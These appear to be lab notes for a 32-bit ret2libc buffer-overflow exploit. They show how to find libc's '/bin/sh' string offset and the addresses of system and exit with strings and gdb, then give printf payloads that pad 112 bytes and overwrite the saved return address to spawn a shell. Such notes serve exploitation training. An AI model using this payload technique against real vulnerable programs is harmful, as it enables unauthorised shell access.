##### Exploit Creation Steps #####
###################################

# Step 1: Locate the offset of the string '/bin/sh' in libc
# Command: strings -a -t x /usr/lib32/libc-2.31.so | grep /bin/sh
# ---> 0x18c363

# Step 2: Determine the base address of libc in the ret2libc environment using gdb
# Command: info proc map
# ---> 0xf7dd4000

# Step 3: Find the addresses of 'system' and 'exit' functions using gdb
# Commands:
#   p system -> 0xf7e15360
#   p exit -> 0xf7e07ec0

############ Exploit ##############
# Fill the buffer with 'A's until the stored EIP is reached
printf "A%.0s" {1..112}

# Overwrite the stored EIP with the address of 'system' function
# Place the address of 'exit' function as the return address for 'system'
# Provide the argument for 'system' which is the address of the string '/bin/sh' (calculated as base libc + offset)
# All addresses are in little-endian format
printf "\x60\x53\xe1\xf7\xc0\x7e\xe0\xf7\x63\x03\xf6\xf7"
